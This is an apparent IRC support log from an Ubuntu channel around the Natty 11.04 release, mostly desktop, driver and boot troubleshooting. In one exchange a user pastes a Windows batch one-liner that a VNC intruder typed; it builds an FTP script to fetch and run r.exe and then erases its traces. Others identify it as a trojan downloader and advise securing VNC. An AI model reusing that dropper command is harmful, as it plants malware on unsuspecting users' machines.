gordonjcpcoz_: what I probably need to do is construct a bus converter to translate the slightly weirdass old-fashioned SCSI timing that the EPS generates to the newer SCSI timing spec that the bridge board expects ;-)13:22
coz_gordonjcp,  sounds reasonable13:23
gordonjcpbut if I'm going down that route I may as well just ditch the flash drive and convert from weirdass old SCSI to an SD card13:23
nitroxidusis there any other search indexing solution13:23
coz_nitroxidus,  take a look at this   http://superuser.com/questions/231896/how-can-i-index-my-entire-disk-in-ubuntu  not sure if it will help on natty13:27
nitroxidusthanks. gona look into it13:28
coz_breakfast time,, be back later :)13:30
jozefkwhat are your opinions about unity DE?13:31
jozefkperlsyntax which card?13:33
perlsyntaxbrb13:33
jozefklol13:33
perlsyntaxTrueMobile 1150 it work in sbayon 5..513:34
perlsyntaxi downloading 11.04 to see if it works.13:34
jozefkyeah that's the best. try and see13:34
perlsyntaxsome people are so rude in the other ubuntu room.13:35
jozefkI can hardly belive any wireless card is not supported nowadays13:35
jozefkbecause they are oveloaded there I think13:35
perlsyntaxi see13:35
jozefkit's not even easy to get any help there anymore13:35
th1when it's going to be released 11.04?13:35
UbuntuFanaticApril 28th.13:35
perlsyntaxnext weee13:35
th1thanks :)13:35
perlsyntaxweek13:35
UbuntuFanaticNo prob.  :)13:36
perlsyntaxi just got a new hardrive for my laptop13:36
perlsyntax:)13:36
UbuntuFanaticNice.13:36
nitroxidusCan also index pdf files and djvu files the text inside13:36
nitroxidusindex text of pdf and djvu files13:36
perlsyntaxjozefk,You try out 11.04?13:36
jozefkyes13:37
nitroxiduswith the find command13:37
jozefkbut didn't like unity13:37
perlsyntaxyou like it13:37
th1yeah I tried it on my eee and the unity was totally buggered13:37
th1but that was a month ago13:37
jozefkit's fine. if you like unity I guess it's ok13:37
perlsyntaxi see13:37
th1it's easy to switch to Classic Desktop13:37
jozefkI want to try gnome3 also and see which one I like more13:38
th1also the Menu In The Top Of Screen issue I got fixed13:38
jozefkthese days I'm trying KDE 4.6.2 :)13:38
th1or, "got rid off" => fixed ;)13:38
perlsyntaxjozefk,What the name of 11.04?13:42
jozefknatty13:43
perlsyntaxi try to find information on the wireless in 11.0413:43
perlsyntaxi hope my pc cards work:)13:44
knightautwellhey can i ask a question??13:46
yofel!ask13:46
ubottuPlease don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)13:46
BluesKajHiya folks13:48
knightautwellok all morning have been getting a request to view or control my desktop from a host i didnt know i finally accepted it so i could ask who it was and they tried to execute a bat program i think i can post what he wrote it in the text editor13:48
bazhangknightautwell, you were advised that was unwise to do at the time13:49
knightautwellis there anyway i can find the origin of it?13:49
th1knightautwell, you can paste the program into codepad.org and paste the link here13:49
PiciA 'bat' program?13:49
th1did he manage to execute it?13:49
th1knightautwell, what you did is similar to someone trying to pry open your bedroom window at 3am in the morning and you open the window to see who it is13:50
knightautwellwell in a way i guess it opened in wine and he was typing the same thing.     cho whiskey>>wts&echo forme>>wts&echo get r.exe>>wts&echo bye>>wts&echo ftp -ivs:wts>t.bat&echo del wts>>t.bat&echo r.exe>>t.bat&echo del t.bat>>t.bat&echo exit>>t.bat&cls&t13:51
IdleOneand then got smacked in the back of the head with a bat13:51
knightautwellthats what he wrote13:51
knightautwelllol i know it was jsut ticking me off13:51
knightautwellanyone know what that does?13:52
knightautwellthis whas the hostname:   bb6b9267.virtua.com.br13:52
th1knightautwell, you've been pwnd13:53
th1its a bat script for windows13:54
knightautwelllol what does it do tho anyone know?13:54
th1it's downloading a trojan or virus and installing it13:54
th1but it only works for windows13:54
th1but if I was you I'd reinstall just to be sure13:54
knightautwelllol prob what ill do. another user is trying to access it again with and ip address of: 187.107.146.10313:55
ryeknightautwell, have you opened your computer to vnc connections (System Settings / Remote Desktop)13:58
ryeknightautwell, i suppose the user which connected to your machine did not realize he ended up in non-windows environment13:58
knightautwellyea because my brother and i are doing that alot so i can help him with his computer.13:58
th1I just upgraded my 11.04 on my netbook and now it won't boot13:59
ryeknightautwell, do you still have that command? Can you paste it in full at http://paste.ubuntu.com ?13:59
th1it boots uinto (initramfs) prompt13:59
th1my root partition doesn't get mounted it's on LVM13:59
th1from the (initramfs) prompt it mounts fine if I do mount /dev/mapper/eee-root /root13:59
ryeth1, does lvm get picked up? /dev/mapper ?13:59
ryeth1, ah13:59
ryeth1, cat /proc/cmdline ?14:00
th1BOOT_IMAGE=/vmlinuz-2.6.38-8-generic root=/dev/mapper/eee-root ro acpi_osi=Linux acpi_backlight=vendor quiet splash vt.handoff=714:00
th1(might have typos I copied from the eee by hand)14:00
jozefkanybody likes unity here?14:00
ryeknightautwell, i think you'll want to e.g. set up a password for vnc access14:01
knightautwellrye: hera ya go http://paste.ubuntu.com/595505/14:01
ryejozefk, i have to say I do, though I would not say that 2 months ago, I hated it14:01
niq1984jozefk: I like :)14:01
knightautwellya thats what ill do but im just not sure how he connected im on a static ip address lol14:01
th1rye any clue based on that?14:02
knightautwellhe wrote more but i didnt get a chance to save it i had to stop it after it opened in wine lol14:02
ryeknightautwell, static? you mean dynamic?14:02
knightautwellya lol14:02
jozefkI didn't like that I can't add system monitors to panel14:02
th1knightautwell, he just scan lots of ip's for those that have that port open14:02
knightautwelli know its not much lol so any info?14:02
ryeknightautwell, try installing windows xp with ethernet cable plugged in and dynamic external address. by the time it installs it will be infected14:02
knightautwelloh lol14:02
th1knightautwell, then when someone does Accept the connection he quickly installs some backdoor so he can pwn your machine14:03
ryeknightautwell, the command entered is incomplete, there are no addresses for the server from which it tries to get the virus/trojan/backdoor/whatever14:03
knightautwellany idea what that script does?14:03
th1then he starts stealing your credit cards and passwords, and uses your PC to send spam14:03
ryeth1, looks ok to me, anything strange in dmesg output?14:04
knightautwellso basically its just part of a script?14:04
kubu2when can we get kaffeine 1.2.2?14:04
th1rye, not in dmesg14:04
th1and boot in "Recovery mode" also dumps me into the (initramfs) prompt14:04
ryeth1, you know what, try removing quiet and splash from the commandline in grub and then try to boot, maybe it will print something related14:04
ryee.g.14:04
th1ok14:04
* rye can't come pu with a message14:04
ryeup14:04
th1rye, latest I see is "running local.premount" then it clears the screen and shows the BusyBox banner and the (initramfs) prompt14:05
th1clever(!) to clear the screen and scrollback, when showing that banner ;)14:05
th1ah14:06
ryeknightautwell, it connects to some ftp host, fetches r.exe file, and then nothing... but I suspect nothing because something failed:)14:06
th1the messages are on alt-f714:06
th1it has "Loading, please wait..." then "Begin: Loading esssential drivers... done" and a number of "Begin: done" like that14:06
ryeth1, i suspect you can try using older kernel to see whether this is related to the kernel or initrd14:06
knightautwellso it was a good thing stopped wine lol14:07
th1the last one is, "Running scripts/init-bottom ... mount: mounting /dev on /root/dev failed: No such file or directory"14:07
ryewooow14:07
th1ah14:07
th1earlier one is .. after "Running /scripts/local-premount ... done."14:07
th1then it shows: "mount: mounting /dev/mapper/eee-root on /root failed: No such device"14:07
th1but if I do "mount /dev/mapper/eee-root /root" from the prompt it does work and doesn't print an error14:08
th1it does print some ext3 and ext2 warnings but then tries with ext4 and moutns it14:08
knightautwellill brb14:08
th1rye, I fixed it14:09
ryeth1, how?14:09
th1from adding "rootfstype=ext4" to the command line14:09
ryeth1, o_O14:09
ryehmmm14:10
th1yay logged in14:11
* rye needs to test lvm too... ATM i don't use it due to having only single hard drive and virtually no need to resize partitions...14:11
th1where can I add the rootfstype option so it won't get deleted when grub is updated?14:12
yofelth1: the kernel default command line is set in /etc/default/grub14:15
th1 yofel I've added it to GRUB_CMDLINE_LINUX14:15
th1let's see if that sorts it for good14:16
th1yeah it did14:17
th1tnx yofel14:17
yofelnp14:17
Chronosnvidia-173 : Depends: xorg-video-abi-8.0 but is not installable: does anyone know if is this a problem of mine or a natty bug?14:20
bjsniderChronos, nvidia has not updated the 173 driver yet and likely will not until the day of natty's official release. you cannot use it until then14:22
Chronosbjsnider, ok: just to know it, i will wait...thank you ;-)14:23
* KM0201 thats why i'm waiting to put 11.04 on my PC. nvidia dual screens14:23
BluesKajwell KM0201 , I'm sorry to say that my 2day experience with gnome on my test pc didn't convince me to switch. The desktop settings srewed up and I ended up with an awful clutter that wasn't removable.14:27
KM0201BluesKaj, gnome classic, or gnome 3? (or do you mean unity)14:28
BluesKajunity and gnome2 , I started with maverick and upgraded to natty , but it didn't help14:29
KM0201ah, should've clean installed natty... :) (i've read of some upgrade troubles)14:29
yofelif unity had some kind of settings and unity-2d was shipped as well I would find it ok, but as it is now - I have a heavy dislike against any environment where the 3D and 2D envs differ a lot14:29
yofeland gnome3 doesn't work since a while ago here for some reason14:30
yofeldidn't care to debug it14:30
BluesKajwell, I'm back to KDE on the test pc for now , maybe I'll give it another try after the official release14:30
stimpiea few times a day the dash does not 'autohide' for an unknown reason. Can I force hide it?14:32
KM0201yofel, i do agree w/ that.14:33
bjsnidertesting unity when it's in a development stage and gnome3 when it's been uneasily packaged in a ppa in some people's spare time is not exactly fair14:38
yofelwell, I do it's from a PPA and I don't actually expect it to work, just stating that it does in fact not work on my thinkpad. And unity has improved a LOT, doesn't change the fact that unity-2d isn't shipped14:40
yofel*do know14:40
pvhhey there... with this new unity interface, how do i get my 'connect to server' option so i can open a nautilus window via ssh or something?14:42
BluesKajbjsnider, are you recommending a beta clean install vs a net upgrade14:42
BluesKaj?14:42
DreamsofanEagleAlright, maybe someone in here will be willing to help14:43
KM0201bjsnider, i do agree w/ that..14:43
DreamsofanEagleUnder 11.04, trying to install Pinta Image editor through the software center14:44
yofelalthough... "testing unity when it's in a development stage" - we're 10 days away from release you know... so I wouldn't call this development stage any more14:44
DreamsofanEaglebut it says its not able to because it would be installing from untrusted sources14:44
bjsniderBluesKaj, i am not recommending anything. i am pointing out that you are not giving the software a fair chance to succeed, and then blaming the software for it14:44
DreamsofanEagleand then crashes14:44
yofelwell, you're right about that on the gnome3 part14:45
arandDreamsofanEagle: The crash you should report as a bug, to install untrusted, either add the gpg key (should be available from where you got the repository), alternatively install from another application than software centre14:47
DreamsofanEagleI already reported the bug, I think14:47
DreamsofanEagletrying to make sure its on the site14:47
DreamsofanEaglebut the program is IN the software center14:47
yofelDreamsofanEagle: by default?14:47
DreamsofanEagleshouldn;t that be trusted?14:47
DreamsofanEagleyes14:48
yofelthat would be odd, does 'sudo apt-get update' in a terminal give any warning?14:48
DreamsofanEagleactually, come to think of it, tried to install it last night, but it crashed, never said anything about untrusted14:48
DreamsofanEaglelemme see14:48
DreamsofanEaglenone so far14:49
yofelpinta seems to be in universe, so you shouldn't get a warning like this, unless the package management messed up when refreshing the cache last time14:49
DreamsofanEaglebut this morning when I did "check" for updates in the Update Manager, it said something about untrusted14:49
BluesKajbjsnider, there was a problem with my ~/ and desktop that was unmovable or deletable without losing all the folders and data in ~/, which uunfortanately left my desktop cluttered and ugly..a prob which seemed to be unfixable14:49
DreamsofanEagleits been buggy cause it crashed when installing Wine IIRC14:50
DreamsofanEagleand OpenOffice, and anything for that matter14:50
DreamsofanEagleno warning so far yofel14:50
yofelDreamsofanEagle: could be that the cache refresh back then didn't work right, in that case try refreshing it again and see if it's still untrusted14:50
yofelI've seen such cases in the past14:50
DreamsofanEaglehow do I do that?14:51
yofelif apt-get runs fine you shouldn't get a warning anymore14:51
DreamsofanEagleok14:51
yofelDreamsofanEagle: either apt-get update or just press the refresh button in update-manager, they both do the same14:51
bjsniderjust to make it clear, as of this morning there is no such thing as openoffice. oracle has discontinued it. they may return the trademarks and whatnot to the odf.14:51
DreamsofanEaglethere is no refresh button14:51
DreamsofanEagleoh wait, nm14:51
bjsniderhttp://arstechnica.com/open-source/news/2011/04/oracle-gives-up-on-ooo-after-community-forks-the-project.ars14:52
DreamsofanEagleright14:52
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yofeler yeah, the 'check' button. Haven't use u-m in a while14:52
DreamsofanEagleOk, Lemme see what Update Manager does14:52
DreamsofanEagleBTW, whoevers in charge here, great job with Beta 214:52
DreamsofanEaglepretty stable and I like the Unity interface14:53
bazhangjust us users and testers here14:53
DreamsofanEaglebah14:53
DreamsofanEagleOk, Update Manager is working right14:53
DreamsofanEaglebut its got a bit of downloading to do before I can move on to the Software Center14:54
BluesKajyofel, bjsnider , I did try a clean install to / with ubuntu natty beta , preserving ~/ 's data etc , but even Unity insisted on placing all folders and text files in ~/ on the desktop , which weren't shortcuts , they were hard links ...why would that happen ?14:56
* yofel is clueless14:57
bjsniderdidn't happen to me14:57
DreamsofanEaglethe Installer seems to be a bit buggy14:58
DreamsofanEagleeven for 10.1014:58
ActionParsnipBluesKaj: bjsnider: http://ubuntuforums.org/showthread.php?t=149240814:58
ActionParsnipDreamsofanEagle: 10.10 isn't supported here14:58
DreamsofanEagleyes I know, I'm just saying14:59
DreamsofanEaglethe OS Installer is still buggy even in 10.10,14:59
BluesKajwell bully for you bjsnider ;p14:59
ActionParsnipDreamsofanEagle: tried the alternate installer?14:59
DreamsofanEagleno, because I don't have a LAN line14:59
ActionParsnipDreamsofanEagle: thats  minimal, not alternative15:00
DreamsofanEagle......15:00
DreamsofanEagledamnit15:00
ActionParsnipDreamsofanEagle: the alternate installer installs a desktop OS in text mode15:00
ActionParsnipDreamsofanEagle: no network link needed15:00
arandHmm, it seems indeed that aptdeamon crashed upon installing pinta...15:00
DreamsofanEaglesomeone told me wrong, anyway I solved the problem15:00
BluesKajActionParsnip, I had no desktop folders in kde before installing gnome15:00
DreamsofanEagleit seems that the 11.04 install does not like it when you boot into with a USB mouse installed15:01
ActionParsnipBluesKaj: i've not used kde since about 200515:01
DreamsofanEagleor at least, the keyboard and touch pad for my laptop is disabled if you do15:01
ActionParsnipDreamsofanEagle: did you log a bug for the mouse issue?15:01
DreamsofanEagleyeah15:01
ActionParsnipgood :)15:01
DreamsofanEagleno ones assigned anything to it yet though15:02
DreamsofanEagleand I only solved what actually causes that to happen,15:02
DreamsofanEaglejust recently anyway15:02
* BluesKaj decides to stick to kde for now.I'll wait til gnome decides which desktop works best and sets as default Unity or whatever15:02
ActionParsnipcould use a different DE like LXDE, XFCE, Enlightenment etc. There are more than 2 DEs15:03
DreamsofanEagleActionParsnip, here is a better descrip of whats going on with the installer for 11.04 and a USB mouse https://bugs.launchpad.net/ubuntu/+source/linux/+bug/76038515:06
ubottuUbuntu bug 760385 in linux (Ubuntu) "Keyboard Inop in 11.04 on Dell Mini 1018" [Undecided,New]15:06
ActionParsnipDreamsofanEagle: I suggest you provide a dmesg output of the boot with the usb mouse connected and one without and add to the bug too.  You can make this easier with:   dmesg > ~/Desktop/output.txt   each time15:08
DreamsofanEaglenot sure how I can do that if I can't even use the keyboard15:08
ActionParsnipDreamsofanEagle: ssh?15:11
DreamsofanEagle?15:11
* yofel goes giving xubuntu a try15:13
ActionParsnipDreamsofanEagle: you can connect via ssh if you have another system and run the commands15:13
DreamsofanEagle<---is a newb15:14
UbuntuFanaticExcuse me.15:14
UbuntuFanaticI could "ping ::1" in Maverick,15:14
UbuntuFanaticbut I can't now in Natty, any reason why?15:14
DreamsofanEagleand I don't have another system15:14
DreamsofanEagleif I had a USB keyboard an USB I might be able to, but money is a little tight ATM15:14
mongyis it or does the workspace changer keep changing its icon15:16
ActionParsnipDreamsofanEagle: you could add a startup item to run the command for you which you have access then reboot to make the file, then reboot. You can have the command use the time as part of the filename so it doesn't get overwritten.15:17
delacmongy: yes it does. have you resized the Launchers icon size?15:18
mongyyes15:18
mongy3215:18
DreamsofanEaglethis is only on the installer15:18
DreamsofanEagleonce 11.04 is installed onto the system, it doesn't care15:18
delacmongy: https://bugs.launchpad.net/ubuntu/+source/unity-asset-pool/+bug/76270015:18
ubottuUbuntu bug 762700 in unity-asset-pool (Ubuntu) "Some Launcher icons revert to Humanity theme" [Low,Triaged]15:18
mongyits ok, i cn=an live with it15:19
delacmongy: well, you better, cause they are probably not going to do anything about it until 11.1015:20
mongylol.... ok15:22
mongyit just changed again to the white/purple icon.   would think such a minor bug would be fixed quickly and easily15:26
delacI gues they have more pressing matters to attend at the moment15:26
delacbut it is easy to fix15:26
delacyou can do it foryourself too15:26
delacjust find the icon in the unity-icon-theme folder and make a 32px version of it15:27
delacthat should fix it15:27
mongyah15:34
no-nickhow many days left for 11.04 ?15:35
arandno-nick: 1015:37
bin_bashHow would I know if I'm using the intel graphics? It appears that I am?15:40
yofelintel only has one driver, but you can check what's being used in /var/log/Xorg.0.log15:40
bin_bashthanks15:40
bin_bashbrb booting15:40
ActionParsnipno-nick: 28th April minus today's date15:41
kushal3whenever I let mvidia config to do its thing, it crashes x. what can I do about it? I have geforce 325M15:44
TechnovikingMy evolution and xchat-gnome are using 24 hour time, but my locale setting are set to Eng-US and 12 hour time. Any ideas?15:46
ActionParsnipkushal3: it's nvidia. can you pastebin the output of:   dpkg -l | grep nvidia      It will show the driver you installed15:46
bin_bashWhich line in the xorg0 file should i be looking for?15:48
bin_bashfor the graphics driver15:48
ActionParsnip/var/log/Xorg.0.log15:48
bin_bashyeah which line15:48
* KM0201 misses the old xorg.conf :(15:49
ActionParsnipbin_bash: just read it with less and use cursors to scroll15:49
ActionParsnipKM0201: I still use one on 1 of my systems15:49
yofelusually the driver is printed in many lines in CAPS, like INTEL: ... or NOUVEAU: ...15:49
KM0201ActionParsnip, so do i.. :)15:49
bin_bashActionParsnip: I have it open in gedit15:49
ActionParsnipKM0201: if you make one, it will be used15:49
ActionParsnipbin_bash: thats fine too15:49
KM0201"If you make it, they will come"... lol15:49
* yofel needs one thanks to nvidia15:49
bin_bashKM0201: I got my home folder to sync ^,^15:49
KM0201bin_bash, now if you can just get your wireless going15:49
bin_bashKM0201: I found out the problem with NDISWRAPPER15:50
KM0201?15:50
KM0201do share.15:50
bin_bashthe driver is for windows 7 with is ndis 6.2, ndiswrapper only supports up to ndis 515:50
KM0201i don't understand15:51
KM0201so you need ndiswrapper 6.2, to use a win7 driver?15:51
bin_bashyep15:51
bin_bashbut it doesn't exist15:51
KM0201well isn't that peachy15:53
ActionParsniphow can you get that it's at 1.56 in natty, so how you can get 6.2 is beyond me15:53
bin_bashstupid phone internet15:53
KM0201ActionParsnip, kinda my thinking, but i hate ndiswrapper, so i dunno15:53
bin_bashI have no idea.15:54
ActionParsnipi think s/he means the version of ndis in the network stack15:54
bin_bashI guess? I'm just reiterating what I was reading in the thread15:54
ActionParsniphttp://en.wikipedia.org/wiki/Network_Driver_Interface_Specification15:54
ActionParsnipI suggest you look at what NDIS actually is15:54
bin_bashI can't load that15:54
bin_bashAnd it appears that intel graphics are working. Which is interesting because most people couldn't get them to work. this is interesting15:55
bin_bashAlso, screen and keyboard dimming work15:56
* KM0201 has never had to use NDiswrapper... thankfully15:58
* KM0201 researches like crazy before buying15:58
KM0201:)15:58
* bin_bash would have researched like crazy if I had actually /bought/ this thing :P15:59
KM0201lol15:59
bin_bashthe thing is though, I have /everything/ running the way it was on 10.04 except wireless, zshell and skype15:59
bin_bashI even have conky the way it was, my theme, my wallpaper, everything.16:00
jamil_1hello, I have unity here. Windows apparently donot get focus because I am unable to click on any in-application buttons like tabs of firefox. any fix ?16:00
KM0201bin_bash, well, skype should be easy16:00
bhaveshI am trying to install a gnome theme to make my ubuntu look like windows 7.. I am following a tutorial (http://www.howtogeek.com/55985/how-to-make-ubuntu-linux-look-like-windows-7/) but it says "Please use gnome to install windows 7 theme" (http://i.imgur.com/DjriW.png) what may be the reason16:00
KM0201zshell, i have no idea what that is.16:01
KM0201let me rephrase, if your mic/audio is picked up properly, skype should be easy16:01
bhaveshI am already using GNOME 2 on my ubuntu 11.0416:01
KM0201"already"?16:01
bhaveshjust I am using GNOME216:02
KM0201well thats great16:02
jamil_1bin_bash: I tries what you suggested earlier to play with settings in compiz config manager....but some of them crashed unity...16:02
KM0201lol16:02
jamil_1*tried16:02
bhaveshand it says "Please use gnome to install windows 7 theme...."16:02
KM0201lol16:02
KM0201bhavesh, that just sounds like a paradox...16:02
bhaveshlol?16:02
KM0201'Use Linux to install Windows 7 theme..."16:03
bhaveshhuh?16:03
KM0201nothing16:03
bhaveshwell16:03
bhaveshits a gnome theme16:03
* KM0201 sometimes i think my humor is lost in irc.16:03
bhaveshto make ubuntu look like windows 716:03
KM0201oh ok... is the theme named windows 7?16:03
bhaveshlol no its isnt..16:03
bhaveshyes16:03
bhaveshit isnt*16:03
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KM0201and hy on earth would you want gnome to look like win7.. the fact it doesn't, is one of its endearing qualities16:04
KM0201geez.16:04
bhaveshbecoz I like the windows UI16:04
bhaveshand windows susks16:04
bin_bashthen use windows16:04
bhaveshsucks*16:04
KM0201bhavesh, you're a sick man16:04
bin_bashgod that makes me twitch16:04
bhaveshlol16:04
bin_bash>I like the windows UI16:04
ActionParsnipKM0201: cos it can is one answer16:04
* bin_bash has a seizure16:04
KM0201ActionParsnip, true enogugh.16:04
bin_bashI can run KDE desktop on OS X but WHY?!?!! WHYYYYY!?!?!16:05
bhaveshwell windows sucks but I just like how it looks..16:05
bhaveshthats all16:05
KM0201bin_bash, have you considered begging for a USB wireless device that is known to function w/ Linux?16:05
bin_bashKM0201: I'm on craigslist looking for one right now lol16:05
ActionParsnipKM0201: I used to have 3 logins, each one made their theme look like a different OS.Funny stuff16:05
KM0201ActionParsnip, lol16:05
ActionParsnipalthough essentially pointless16:05
bin_bashI looked into running gnome on os x16:05
bin_bashbut... bloated UI on top of bloated UI seems... BAD.16:06
bhaveshcan anyone guess the reason behind this meaningless error?16:06
bin_bashwhat's the error?16:06
SuperstarIn 11.04 launch, will there be an option to switch between the new unity (I think that's what they call it?) interface to the old 10.10 interface?16:06
bhaveshit says "Use Gnome to install windows 7 theme"16:06
bhaveshand I am using GNOME 2 on 11.0416:06
bhavesh(classic ubuntu)16:06
bhaveshhttp://i.imgur.com/DjriW.png16:07
bin_bashSuperstar: yes you select ubuntu classic. It's what I'm using now. I won't use unity.16:07
Superstarbin_bash what is ubuntu classic?16:07
ActionParsnipbtw, I can recommend apt-fast (comes from a ppa) its spiffy :)16:07
KM0201Superstar, its the "traditional" gnome, rather than the new 'unity' interface16:07
bin_bashSuperstar: gnome basically16:08
bin_bashbhavesh: what theme are you using? I like your top panel.16:08
bhaveshbin_bash u mean the chromium theme...?16:08
ActionParsnipbhavesh: its pointless info, just click ok16:08
bin_bashbhavesh: The icon theme16:08
bhaveshActionParsnip, it closes down if I do so..16:09
Superstarbin_bash km0201: oh good. how would i select the traditional interface?16:09
bhaveshbin_bash just the normal theme which comes by default16:09
KM0201Superstar, at sign on screen, choose "sessions" and "ubuntu classic"16:09
jamil_1hello, I have unity here. Windows apparently donot get focus because I am unable to click on any in-application buttons like tabs of firefox. any fix ?16:09
Superstarkm0201 thank you!16:10
bin_bashbhavesh: not for me. the shutdown button looks like an ugly light switch16:10
bhaveshbin_bash, lol its just normal didn't change anything..16:10
bin_bashman i'm jelly16:10
bhaveshI was trying to install windows theme from here : http://www.howtogeek.com/55985/how-to-make-ubuntu-linux-look-like-windows-7/16:11
bhavesh...16:11
bhaveshbin_bash: well the icons are ubuntu-mono-dark16:12
KM0201bhavesh, don't kno about the theme, but i like the wallpaper16:12
bhaveshmaybe I should remove the idea of installing windows theme on ubuntu from my mind :(16:12
th1in Ubuntu 10.10 I had set an option, "Require password after suspend" or something like that, to "No", so it wouldn't show the password screen after a suspend by closing the lid16:14
ActionParsnipbhavesh: delete the files and don't use sudo for ANY of it. I have posted on that and another page I saw the same nonsense that sudo isn't needed16:14
th1but after upgrading the Natty it shows again the password prompt and I can't find the option anymore, has it moved somewhere else?16:14
ActionParsnipbhavesh: try: wget http://web.lib.sun.ac.za/ubuntu/files/help/theme/gnome/win7-setup.sh; chmod +x ./win7-setup.sh; ./win7-setup.sh16:15
bhaveshok ty16:15
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bin_bashgood god.16:16
bin_bashi cant be on the internet and on the phone simultaenously apparently16:16
bhaveshwhat about cs ~/16:16
bhaveshcd ~/**16:16
bhaveshchmod: changing permissions of `./win7-setup.sh': Operation not permitted16:17
bin_bashsomeone is selling their usb adaptor for 15 bucks effyeah16:17
th1I found out how to fix it from gconf-editor16:19
th1although it was not very straighforward16:19
th1it should have a tickbox in the Power Management, "Lock screen after suspend"16:19
th1even windows has it16:19
th1*even XP16:19
bhaveshwell its showing the same thing "Use GNOME to use windows theme..16:19
ActionParsnipbhavesh: run it from your home dir16:21
bhavesh...?16:21
bhaveshhome/bhavesh16:21
no-nickmy gnom deamon just crashed how can i restart gnome without restarting the machine ?16:21
bin_bashI cannot figure out how to set a keybinding to show all windows open. Anyone?16:21
ActionParsnipbhavesh: run: cd   and it will change your pwd to $HOME16:21
no-nickbin_bash Logo+tab16:22
ActionParsnipbin_bash: do you use compiz?16:22
bin_bashActionParsnip:  yeah16:22
ActionParsnipbin_bash: use the scale plugin16:23
bhaveshwhy the H does it think that I am not using GNOME desktop?16:24
bhaveshI guess its becoz of 11.0416:24
KM0201pebkac16:24
yofelno-nick: logging out will restart gnome16:25
no-nickok thanks16:25
ActionParsnipbhavesh: you can use kubuntu 11.04   the release doesn't define the DE16:25
no-nickand can I install KDE on 11.04 ?16:25
yofelrunning g-s-d from alt+f2 *might* work too16:25
yofelno-nick: sure, install kubuntu-desktop if you want both16:25
bhaveshwell im using ubuntu16:25
yofelno-nick: the package I mean16:26
no-nickyofel I am using ubuntu now16:26
ActionParsnipor for minimal install kde-standard16:26
yofelno-nick: yep, then open synaptic and install kubuntu-desktop (or kde-standard, but we don't test if that works)16:26
bin_bashActionParsnip: that didn't work16:27
ActionParsnipbin_bash: enable the plugin.I set the initiator to the bottom right corner with my mouse16:28
bin_bashyeah it didnt do anything though16:28
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bhaveshActionParsnip: no luck still16:32
bin_bashActionParsnip: which particular thing am i looking for in the scale plugin?16:32
Guest38617hello i want to report youu an mistake16:33
Guest38617in ubuntuu16:34
Guest38617u16:34
bin_bashyou want us to?16:34
bhaveshmaybe he wants to report a bug16:34
yofel!bugs16:34
ubottuIf you find a bug in Ubuntu or any of its derivatives, please file a bug using the command « ubuntu-bug <package> » - See https://help.ubuntu.com/community/ReportingBugs for other ways to report bugs - Bugs in/wishes for the IRC bots (not Ubuntu) can be filed at http://bugs.launchpad.net/ubuntu-bots16:34
Guest38617in ubuntu 11.04 there stand "LibreOffic unterstützt.."16:36
Guest38617but it must be LibreOfficE16:36
Guest38617ubuntu-bug16:37
Guest38617!ubuntu-bug16:37
KM0201!isitoutyet16:37
ubottuIt's way too early for it to be out; check back on the 28th.16:37
KM0201:)16:37
yofelthat sounds like a translation issue, *where* does it show that?16:37
Guest38617!listoutyet16:37
Guest38617ubuntu-bug16:37
Guest38617!listoutyet16:37
Guest38617yofel: in the slideshow16:37
bin_bash!skype16:38
ubottuTo install Skype on Ubuntu, see https://help.ubuntu.com/community/Skype - To record on Skype, check: https://wiki.ubuntu.com/SkypeRecordingHowto - Please use open protocols instead if you can, see !Ekiga16:38
KM0201bin_bash, its pretty easy to install.16:38
bin_bashidk which one16:38
yofelGuest38617: for which installer? K/X/L/Ubuntu ?16:38
Guest38617KDE16:38
KM0201what do you mean?16:38
yofelGuest38617: press alt+f2 and enter 'ubuntu-bug ubiquity-slideshow-kubuntu'16:38
bin_bashwell when i go to the skype page they have lots of different distros listed16:38
KM0201oh ok.16:39
Guest38617ubuntu-bug ubiquity-slideshow-kubuntu16:39
bhaveshGuest38617: u have to use "ubuntu-big-app_name" not here but in ur terminal16:39
yofelGuest38617: in krunner, not here16:39
KM0201bin_bash, you have 64bit ubuntu right?16:39
KM0201if so, download the 64bit .deb16:39
bin_bashok16:39
KM0201if 32bit, download the 32bit .deb16:39
ActionParsnipbin_bash: http://ubuntuguide.net/install-skype-on-ubuntu-11-04-natty-narwhal-3264-bit16:39
Guest38617binb_bash or add my repos16:40
ActionParsnipsimple websearch pulled that up...16:40
KM0201bin_bash, i bet you're gonna get a letter from AT&T about the amount of data you're using16:40
KM0201lol16:40
bin_bashi have sprint16:40
KM0201well, sprint then16:40
* KM0201 hates sprint, but i'm stuck w/ them16:40
ActionParsnipvoice data is quite small16:41
KM0201is it?16:41
ActionParsniphowever webcam may be more16:41
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no-nickback16:42
no-nickthanks guys16:42
no-nicklogging off and on helped16:42
ActionParsnipKM0201: think about the infastructure carrying voice. The bandwidth needed is about 8kbps for a G.729 call16:42
* yofel makes a random note to charlie-tca that xubuntu has come out pretty nice in natty :)16:43
* charlie-tca hugs yofel 16:43
no-nickwhat is the alternative to kubuntu-desk ?16:43
KM0201no-nick, gouging out your eyeballs,.16:43
ActionParsnipno-nick: lxde16:43
KM0201w00t16:43
yofelno-nick: alternate as in...?16:44
no-nickKM0201 ?!16:44
no-nickas something else that will let you switch between gnome and KDE16:44
KM0201no-nick, poor attempt at humor i guess... in otherwords, i'd prefer anything to KDE.16:44
no-nickoh now i got it !16:44
KM0201lol16:45
stefanivarssonHave old laptop (HP pavillion zv5000 with nvidia gpu) Unity does not work and I tried Unity2 but there was still some bugs. Now I have windowmgr issues16:45
yofelwell, if you want to install KDE here, kubuntu-desktop is the recommended way, kde-standard and -full are there too, but not tested16:45
ActionParsnipno-nick: there are many desktops you can use, have a sniff around16:45
bhaveshok anyone tried BURG here?16:45
stefanivarssonHave to do Compiz --replace (or Metacity --replace) to get it to work. Any ideas on getting it to stick from start?16:45
yofelif you mean other desktop envs XFCE and LXDE are the larger ones from the alternatives16:45
no-nickI am new to ubuntu and just got hang of gnome so i wanna keep it for a while16:45
stefanivarssonRemember a similar issue that was solved with a gconf key but can not find the URL any more16:46
no-nickis there a way for fast switching between two different desktop ?16:46
ActionParsnipyofel: xfce and lxde are significantly lighter than gnome and kde16:46
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yofelActionParsnip: *that* I know16:46
KM0201bin_bash, did you get skype installed16:46
yofelhe was talking about KDE, so I advised that, but the others work perfectly fine too16:47
bin_bashKM0201: installing it now16:47
ActionParsnipno-nick: log off, click username, select DE at the bottom, log on16:47
KM0201ok16:47
no-nickcool16:47
no-nicklet me install KDE and see how it goes !16:47
